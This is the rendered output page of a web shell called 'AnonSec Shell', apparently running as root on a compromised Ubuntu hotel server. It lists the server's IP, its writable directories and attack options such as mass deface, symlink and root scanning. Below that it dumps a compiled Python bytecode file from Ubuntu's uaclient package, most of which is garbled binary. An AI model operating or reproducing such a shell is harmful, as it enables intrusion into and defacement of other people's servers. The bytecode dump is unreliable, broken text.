AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/api/u/security/package_manifest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/api/u/security/package_manifest/__pycache__/v1.cpython-310.pyc
o

F��c��@s�ddlmZmZddlmZddlmZddlmZddl	m
Z
mZmZGdd�de
e�Z
e
Zde
fd	d
�Zdede
fdd
�Zeddedd�ZdS)�)�apt�snap)�APIEndpoint)�AdditionalInfo)�UAConfig)�
DataObject�Field�StringDataValuec@s&eZdZede�gZdefdd�ZdS)�PackageManifestResult�
manifest_datacCs
||_dS�N�r)�selfr�r�M/usr/lib/python3/dist-packages/uaclient/api/u/security/package_manifest/v1.py�__init__
�
zPackageManifestResult.__init__N)�__name__�
__module__�__qualname__rr	�fields�strrrrrrr
s�r
�returncCs
tt��Sr)�_package_manifestrrrrr�package_manifestrr�cfgcCszd}t��}|D]}|jdkrdnd|j}|d�|j||j�7}qt��}|D]}|dj|j|j|j	d�7}q(t
|d�S)z�Returns the status of installed packages (apt and snap packages)
    Returns a string in manifest format i.e. package_name	version
    ��all�:z{}{}	{}
zsnap:{name}	{tracking}	{rev}
)�name�tracking�revr
)r�get_installed_packages�arch�formatr�versionr�get_installed_snapsr r!r
)r�manifest�apt_pkgs�apt_pkgr#�pkgs�pkgrrrrs
�
r�v1�PackagesN)r%r�fn�options_cls)�uaclientrr�uaclient.api.apir�uaclient.api.data_typesr�uaclient.configr�uaclient.data_typesrrr	r
�PackageManifestResultsrr�endpointrrrr�<module>s
�

Anon7 - 2022
AnonSec Team